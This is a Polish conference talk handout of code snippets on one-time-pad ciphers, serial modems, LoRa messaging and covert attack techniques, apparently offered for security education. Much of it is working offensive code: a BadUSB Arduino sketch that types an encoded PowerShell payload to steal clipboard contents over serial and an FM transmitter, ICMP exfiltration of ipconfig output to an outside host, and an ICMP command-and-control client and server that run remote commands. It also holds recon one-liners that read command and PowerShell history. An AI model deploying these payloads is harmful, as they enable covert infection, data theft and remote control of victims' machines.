Dark Vinci powraca czyli hakowanie w stylu wiktoriańskim

Oh My H@ck 2022

Paweł Maziarz

www.linkedin.com/in/pawelmaziarz
twitter.com/pawelmaziarz

OMH-Vinci-2022.pdf - slajdy
aptm.in/h - historia protipów
alphasec.pl


Adam w pudełku, generowanie

function play($f) { [Media.SoundPlayer]::new((gi $f)).PlaySync(); } $songs = [pscustomobject]@{ "1"="0001.wav"; "2"="0002.wav"; "3"="0003.wav"; "4"="0004.wav"; "5"="0005.wav"; "6"="0006.wav"; "7"="0007.wav"; "8"="0008.wav"; "9"="0009.wav"; "0"="0010.wav"; "/"="0011.wav"; "!"="0012.wav"; } "313/37 313/37 313/37 ! 00170 01204 01020 80707 00140 10309 05202 51411 03080 22322 18130 31522 12091 50320 00252 21405 12020 31719 23082 0 ".ToCharArray()| % { if ($_ -eq " ") { start-sleep 1 } else { $f = $songs.$_ if ($f) { play "wav/$f" } } }

Cryptossiblis - program w Basicu dla Commodore 64, szyfrujący i deszyfrujący One Time Pad (szyfrowanie z kluczem jednorazowym). Poniżej fragmenty szyfrowania i deszyfrowania, pełna wersja jest w fazie kończenia. Jeśli jednak z jakichś przyczyn przyda Ci się coś więcej niż poniższe fragmenty - daj znać.

10 REM Encryption 20 EM$ = "" 30 FOR I=1 TO LEN(DM$) STEP 2 40 A = VAL(MID$(KM$, I, 2)) 50 B = VAL(MID$(DM$, I, 2)) 60 C = A + B 70 IF (C > AL) THEN C = (C-INT(C/AL)*AL) 80 EM$ = EM$+MID$(AL$, C+1, 1) 90 NEXT I 100 RETURN
210 REM Decryption 220 DM$ = "" 230 FOR I=1 TO LEN(EM$) STEP 2 240 A = VAL(MID$(EM$, I, 2)) 250 B = VAL(MID$(KM$, I, 2)) 260 C = A - B 270 IF (C < 0) THEN C = C + AL 280 DM$ = DM$+MID$(AL$, C+1, 1) 290 NEXT I 300 RETURN

Szyfrowanie OTP w JavaScript - kawałek kodu z aptm.in/webotp. Reszta w pub.alphasec.pl/webotp/otp.js.

    encryptNumberString: function (nText, nPad) {         let eText = "";         nText = nText.replaceAll(" ", "");         nPad = nPad.replaceAll(" ", "");           if (nPad.length <= 0) {             return;         }           if (nPad.length < nText.length) {             // niedobrze, klucz mniejszy niz wiadomosc, niebezpieczne!!             while (nPad.length < nText.length) {                 nPad += nPad;             }         }         for (i = 0; i < nText.length; i += 2) {             let nT = parseInt(nText.substring(i, i + 2));             let nP = parseInt(nPad.substring(i, i + 2));             if (!isNaN(nT) && !isNaN(nP)) {                 let nE = nT + nP;                 if (nE >= this.alphabet.length) {                     nE = nE % this.alphabet.length; // modulo                 }                   if (nE < 10) { eText = eText + "0"; }                 eText = eText + nE;             }         }           return eText;     }

Lista dostępnych portów szeregowych

Get-PnpDevice -class ports –PresentOnly [IO.Ports.SerialPort]::GetPortNames()

Otwieranie, pisanie i czytanie z portu szeregowego

$port = New-Object System.IO.Ports.SerialPort "COM4",1200,None,8,one $port.Open() $port.Write("AT`r`n") $port.ReadLine()

Zamknięcie portu

$port.Close()

Pełny War Dialer

$VerbosePreference = "Continue" function Invoke-Dialer($from, $to, $portName, $speed = 1200, $readTimeout = 50000) { function Invoke-ATCommand($port, $command) { $port.DiscardInBuffer() $port.DiscardOutBuffer() Write-Verbose "Wysylam komende $command na port $($port.PortName)" $port.Write("$command`r`n") Start-Sleep -m 500 try { $port.ReadLine()|out-null $resp = $port.ReadLine()|out-string $resp.Trim() } catch [TimeoutException] { "[TIMEOUT]" } catch { $_.Exception.Message } } try { $port = New-Object System.IO.Ports.SerialPort $portName,$speed,None,8,one $port.Open() if ($readTimeout) { Write-Verbose "Ustawiam timeout dla odczytu na $readTimeout ms" $port.ReadTimeout = $readTimeout } $port.DiscardInBuffer() $port.DiscardOutBuffer() Write-Verbose "Wylaczanie ECHO.." Write-Verbose (Invoke-ATCommand $port "ATE0") Write-Verbose "Wait for carier after dial=10" Write-Verbose (Invoke-ATCommand $port "ATS7=10") Write-Verbose "Carier Detect ResponseTime=1" Write-Verbose (Invoke-ATCommand $port "ATS9=1") $from..$to | ForEach-Object { Write-Verbose "Rozlaczamy poprzednie polaczenie" Start-Sleep 1 $resp = Invoke-ATCommand $port "ATH" if ($resp -ne "OK") { Write-Verbose "ATH odpowiedz: $resp, lipa jakas" } Write-Verbose "Dzwonie na $_" $resp = Invoke-ATCommand $port "ATDT $_" Write-Verbose "Odpowiedz: '$resp'" if ($resp -like "CONNECT*") { Write-Verbose "Connected, sending escape string (+++)" $port.Write("`r`n") Start-Sleep 2 $port.Write("+++") Start-Sleep 2 $port.Write("ATH`r`n") } [PSCustomObject]@{"number"=$_;result=$resp} } } catch { $_ } finally { Write-Verbose "Zamykamy port.." $port.Close() } } # Invoke-Dialer 101 108 COM14

LoRa - inicjalizacja

#define SS      18 #define RST     14 #define DI0     26 #define BAND  868E6   LoRa.setPins(SS, RST, DI0); if (!LoRa.begin(BAND)) {   Serial.println("### LoRa.begin() failed!");   while (1); }

LoRa - odbiór danych

int pktSize = LoRa.parsePacket(); if (pktSize) {   while (LoRa.available()) {     String remoteMsg = LoRa.readString();   } }

LoRa - wysyłanie danych

LoRa.beginPacket(); LoRa.print("veni vidi Vinci"); LoRa.endPacket();

LoRaOTPCommunicator.ino

/* * (c) 1898 Dark Vinci * (c) 2022 Paweł Maziarz * * https://alphasec.pl/ * https://aptmasterclass.com/forge/#arsenal */ #include <SPI.h> #include <LoRa.h> #include <Wire.h> #include "SSD1306Wire.h" #define SCK 5 #define MISO 19 #define MOSI 27 #define SS 18 #define RST 14 #define DI0 26 #define BAND 868E6 #define MAX_LORA_PACKET_SIZE 250 #define SCREEN_WIDTH 128 #define SCREEN_HEIGHT 64 SSD1306Wire display(0x3c, 4, 15); unsigned int debug = 0; int alphabetLen; String alphabet = "abcdefghijklmnopqrstuvwxyz1234567890,. -_?"; String key = "venividivinci"; int keyIndex = 0; int otpEncryptString(String &msg) { int i, j; for (i = 0, j = keyIndex; i < msg.length(); i++, j++) { int m = alphabet.indexOf(msg.charAt(i)); int k = alphabet.indexOf(key.charAt(j)); if (j >= key.length()) { // niedobrze, klucz za maly, rolujemy, chociaz to nie jest dobry pomysl j = 0; } if (k == -1 || m == -1) { continue; } char sum = m + k; if (sum > alphabetLen) { sum = sum % alphabetLen; } char c = alphabet.charAt(sum); msg.setCharAt(i, c); } return j; } void otpDecryptString(String &msg, int remoteKeyIndex) { int i, j; for (i = 0, j = remoteKeyIndex; i < msg.length(); i++, j++) { int m = alphabet.indexOf(msg.charAt(i)); int k = alphabet.indexOf(key.charAt(j)); if (j >= key.length()) { // niedobrze, klucz za maly, rolujemy, chociaz to nie jest dobry pomysl j = 0; } if (k == -1 || m == -1) { continue; } int sub = m - k; if (sub < 0) { sub = sub + alphabetLen; } char c = alphabet.charAt(sub); msg.setCharAt(i, c); } } void setup() { alphabetLen = alphabet.length(); pinMode(16, OUTPUT); pinMode(2, OUTPUT); digitalWrite(16, LOW); // set GPIO16 low to reset OLED delay(50); digitalWrite(16, HIGH); // while OLED is running, must set GPIO16 in high Serial.begin(1200); while (!Serial); Serial.println(); Serial.println("### LoRaOTPCommunicator by Dark Vinci (c) 1898"); SPI.begin(SCK, MISO, MOSI, SS); LoRa.setPins(SS, RST, DI0); if (!LoRa.begin(BAND)) { Serial.println("### LoRa.begin() failed!"); while (1); } Serial.println("### Machine ready."); display.init(); display.flipScreenVertically(); display.setFont(ArialMT_Plain_10); display.setTextAlignment(TEXT_ALIGN_LEFT); delay(1500); } void ledOn() { digitalWrite(2, HIGH); } void ledOff() { digitalWrite(2, LOW); } String msg; char c; String remoteMsgPrefix; void loop() { int pktSize; display.clear(); pktSize = LoRa.parsePacket(); if (pktSize) { while (LoRa.available()) { String remoteMsg = LoRa.readString(); if (remoteMsg.startsWith("hpszhpsz")) { sendPlain(key); continue; } if (debug) { Serial.print("[DEBUG] LoRa pktSize = "); Serial.println(pktSize); } if (debug) { Serial.print("[DEBUG] GOT: "); Serial.println(remoteMsg); } remoteMsgPrefix = "+ remote:plain> "; int remoteKeyIndex = 0; for (int i = 0; i < remoteMsg.length(); i++) { if (isDigit(remoteMsg.charAt(i))) { continue; } else if (remoteMsg.charAt(i) == '|'){ remoteKeyIndex = remoteMsg.substring(0, i).toInt(); if (debug) { Serial.print("[DEBUG] remoteKeyIndex: "); Serial.println(remoteKeyIndex); } remoteMsg.remove(0, i+1); otpDecryptString(remoteMsg, remoteKeyIndex); remoteMsgPrefix = "+ remote:encrypted> "; } } if (remoteMsg.startsWith("hpszhpsz")) { sendPlain(key); continue; } Serial.print(remoteMsgPrefix); Serial.println(remoteMsg); display.clear(); display.drawString(0, 0, "< "); display.drawStringMaxWidth(8, 0, 128, remoteMsg); display.display(); ledOn(); } } if (Serial.available()) { c = Serial.read(); Serial.print(c); // echo if (c == '\n' || c == '\r') { msg.trim(); msg.toLowerCase(); if (msg[0] == '/') { handleCommand(msg); msg = ""; } else { Serial.print("- local:encrypted> "); Serial.println(msg); int newKeyIndex = otpEncryptString(msg); if (debug) { Serial.print("[DEBUG] Sending encrypted message: "); Serial.print(keyIndex); Serial.print("|"); Serial.println(msg); } LoRa.beginPacket(); LoRa.print(keyIndex); LoRa.print("|"); LoRa.print(msg); LoRa.endPacket(); keyIndex = newKeyIndex; if (debug) { Serial.println("[DEBUG] sent"); } display.clear(); display.drawString(0, 0, "> "); display.drawStringMaxWidth(8, 00, 128, msg); display.display(); ledOff(); msg = ""; } } else { msg += c; } } } void handleCommand(String command) { command.trim(); if (debug) { Serial.print("[DEBUG] handleCommand: "); Serial.println(command); } if (command.startsWith("/debug")) { if (command.endsWith("on") || command.endsWith("1")) { debug = 1; Serial.println("[CMD] Debug activated"); } else if (command.endsWith("off") || command.endsWith("0")) { debug = 0; Serial.println("[CMD] Debug deactivated"); } else { if (debug) { Serial.println("[CMD] Debug toggled (deactivated)"); debug = 0; } else { Serial.println("[CMD] Debug toggled (activated)"); debug = 1; } } } else if (command.startsWith("/key")) { command.replace("/key", ""); command.trim(); if (command == "") { Serial.print("[CMD] Current key: "); Serial.println(key); Serial.print("[CMD] Current key index: "); Serial.println(keyIndex); } else if (command.startsWith("new")) { String newkey = command.substring(3); newkey.trim(); if (newkey.length() > 0) { Serial.print("[CMD] Key changed. Old key length: "); Serial.println(key.length()); Serial.print("[CMD] New key length: "); Serial.println(newkey.length()); key = newkey; keyIndex = 0; } else { Serial.println("[CMD] Syntax: /key new <newkey>"); } } else if (command.startsWith("index")) { if (command.length() == 5) { Serial.println("[CMD] Syntax: /key index <newindex>"); } else { String newindexstr = command.substring(5); newindexstr.trim(); int newindex = newindexstr.toInt(); Serial.print("[CMD] Old key index: "); Serial.println(keyIndex); Serial.print("[CMD] New key index: "); Serial.println(newindex); keyIndex = newindex; } } else { Serial.println("[CMD] /key new|index <newkey|newindex>"); } } else if (command.startsWith("/plainmsg")) { command.remove(0, 9); command.trim(); if (command.length() > 0) { if (debug) { Serial.print("[CMD] Sending plain msg: "); Serial.println(command); } sendPlain(command); Serial.print("- local:plain> "); Serial.println(command); } else { Serial.println("[CMD] /plainmsg <msg>"); } } else { Serial.println("[CMD] Command not found"); } } void sendPlain(String info) { LoRa.beginPacket(); LoRa.print(info); LoRa.endPacket(); }

Złośliwy dysk USB, infekujący komputer i eksfiltrujący dane za pomocą nadajnika FM

/* @author Pawel Maziarz feat. Dark Vinci*/ #include <SoftwareSerial.h> #include "DFRobotDFPlayerMini.h" #include "Keyboard.h" SoftwareSerial Serial2(0, 1); DFRobotDFPlayerMini MP3; struct Sound { char *trackname; uint16_t trackchar; int trackdelay; }; struct Sound soundNotFound = {"", -1, -1 }; struct Sound sounds[] = { { "0", 16, 700 }, { "1", 1, 700 }, { "2", 2, 700 }, { "3", 3, 700 }, { "4", 4, 700 }, { "5", 5, 700 }, { "6", 6, 700 }, { "7", 7, 700 }, { "8", 8, 700 }, { "9", 9, 700 }, { "a", 10, 700 }, { "b", 11, 700 }, { "c", 12, 700 }, { "d", 13, 700 }, { "e", 14, 700 }, { "f", 15, 700 }, { "intro1", 50, 3000 }, { "intro2", 50, 3000 } }; struct Sound *findSound(char *soundname) { int i, len = sizeof(sounds)/sizeof(struct Sound); for (i=0; i <= len; i++) { if (strcmp(sounds[i].trackname, soundname) == 0) { return &sounds[i]; } } return &soundNotFound; } void demoLoop() { uint16_t t; while(1) { for (t=1; t<16; t++) { play(t); Serial.println(t); delay(800); } } } void setup() { Serial.begin(115200); Serial2.begin(9600); delay(7000); installVinciMalware(); delay(500); MP3.begin(Serial2); MP3.volume(30); } void loop() { int songdelay; char buff[2]; if (Serial.available()) { unsigned char c = Serial.read(); if (c == 2) { songdelay = playSong("intro1"); delay(songdelay); } else { itoa(c, buff, 16); if (!buff[1]) { buff[1] = buff[0]; buff[0] = '0'; buff[2] = 0; } char buff1[] = { buff[0], 0x00 }; char buff2[] = { buff[1], 0x00 }; songdelay = playSong(buff1); delay(songdelay); songdelay = playSong(buff2); delay(songdelay); } } } int playSong(char *songname) { struct Sound *s; s = findSound(songname); if (s->trackdelay < 0) { Serial.print("song not found: "); Serial.println(songname); return s->trackdelay; } Serial.print("playing song: "); Serial.println(songname); Serial.println(s->trackchar); play(s->trackchar+1); return s->trackdelay; } void play(unsigned char Track){ MP3.playMp3Folder(Track-1); } void typeKeys(uint8_t *keys) { uint8_t *p = keys; while (*p) { Keyboard.print((char)*p++); delay(10+random(10)); } } void openWinRunDialog() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); Keyboard.releaseAll(); } void installVinciMalware() { Keyboard.begin(); delay(2000); openWinRunDialog(); delay(500); typeKeys("powershell\n"); delay(500); typeKeys("ni -f hkcu:\\software\\vinci|sp -n dark -v 'ZmlsdGVyIFNlcmlhbC1FeGZpbCgkcCwkcz0xMTUyMDApIHsNCiAgICAkYnVmZiA9ICRfDQogICAgW0lPLlBvcnRzLlNlcmlhbFBvcnRdOjpHZXRQb3J0TmFtZXMoKSB8IHNvcnQgLXUgfCAlIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICRwb3J0ID0gTmV3LU9iamVjdCBTeXN0ZW0uSU8uUG9ydHMuU2VyaWFsUG9ydCAkXywkcyxOb25lLDgsb25lDQogICAgICAgICAgICAkcG9ydC5PcGVuKCk7JHBvcnQuV3JpdGUoW2NoYXJdMik7JHBvcnQuV3JpdGUoJGJ1ZmYpOw0KICAgICAgICB9IGNhdGNoIHt9DQogICAgICAgIGZpbmFsbHkgeyAkcG9ydC5EaXNwb3NlKCk7IH0NCiAgICB9DQp9DQpmb3IoOzspIHsNCiAgICAkY2xpcCA9IGdjYg0KICAgIGlmICgkY2xpcCAtYW5kICgkY2xpcCAtbmUgJG9sZGNsaXApKSB7DQogICAgICAgICRjbGlwfFNlcmlhbC1FeGZpbA0KICAgICAgICAkb2xkY2xpcD0kY2xpcA0KICAgIH0NCiAgICBzbGVlcCA1DQp9';exit\n"); delay(300); openWinRunDialog(); delay(500); typeKeys("powershell -enc LQBqAG8AaQBuACAAWwBjAGgAYQByAFsAXQBdAFsAYwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIABoAGsAYwB1ADoAXABzAG8AZgB0AHcAYQByAGUAXAB2AGkAbgBjAGkAKQAuAGQAYQByAGsAKQB8AGkAZQB4AA==\n"); delay(200); Keyboard.end(); }

Eksfiltracja po porcie szeregowym schowka

filter Serial-Exfil($p,$s=115200) { $buff = $_ [IO.Ports.SerialPort]::GetPortNames() | sort -u | % { try { $port = New-Object System.IO.Ports.SerialPort $_,$s,None,8,one $port.Open();$port.Write([char]2);$port.Write($buff); } catch {} finally { $port.Dispose(); } } } for(;;) { $clip = gcb if ($clip -and ($clip -ne $oldclip)) { $clip|Serial-Exfil $oldclip=$clip } sleep 5 }

Lista ostatnio wykonywanych poleceń (aptm.in/protip/003a):

$i=gp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU; $i.MRUList.ToCharArray()|%{$i.$_}

Historia powershella (aptm.in/protip/0019):

cat (Get-PSReadLineOption).HistorySavePath

Wyświetlanie payloadu pakietów ICMP Echo request w Pythonie (aptm.in/protip/000f):

python3 -c 'from scapy.all import *; sniff(filter="icmp and icmp[0]=8", prn=(lambda x: print(x[1].src, x[ICMP].load) if hasattr(x[ICMP], "load") else None ))'

Wysłanie pakietu ICMP Echo request ze wskazanym payloadem:

[Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100, [Text.Encoding]::UTF8.GetBytes("Żółw"))

Eksfiltracja danych po ICMP w Powershellu:

(ipconfig|Out-String) -split "(?s)(.{1472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100, ([Text.Encoding]::UTF8).GetBytes($_))}

Komunikacja C2 po ICMP - klient w Powershellu:

$sleep = 10; $target = "aptm.in" while ($true) {     $ping = New-Object Net.NetworkInformation.Ping     $r = $ping.Send($target, 100, [Text.Encoding]::UTF8.GetBytes("u:$env:USERNAME"))     $r = [Text.Encoding]::UTF8.GetString($r.Buffer)     if ($r -match "^c:(..*)$") {         (iex $Matches[1] *>&1 | Out-String) -split "(?s)(.{1400})" -match "." | % {             $ping.Send($target, 100, ([Text.Encoding]::UTF8).GetBytes("r:$_"))         }       }     Start-Sleep $sleep }

Komunikacja C2 po ICMP - serwer w Pytohnie + scapy:

import string known_ips = {'127.0.0.1'} def handle_load(load):     path = "./data/%s" % load     try:         return "c:" + open("./data/%s" % load, "r").read().strip() # evil backdoor =)     except:         return "#" def handle_ping(pkt):     if (pkt[2].type == 8):         try:             dst=pkt[1].dst             src=pkt[1].src             seq = pkt[2].seq             id = pkt[2].id             load = pkt[3].load.decode('utf-8')             if load.startswith('u:'):                 load = load[2:]                 if src not in known_ips:                     known_ips.add(src)                     print ("new client: %s (%s)" % (src, load))                 reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/handle_load(load)                 send(reply,verbose=False)             if src in known_ips:                 print ("payload from %s: %s" % (src, load))         except:             pass if __name__=="__main__":     sniff(iface="eth0", prn=handle_ping, filter="icmp and icmp[0]=8")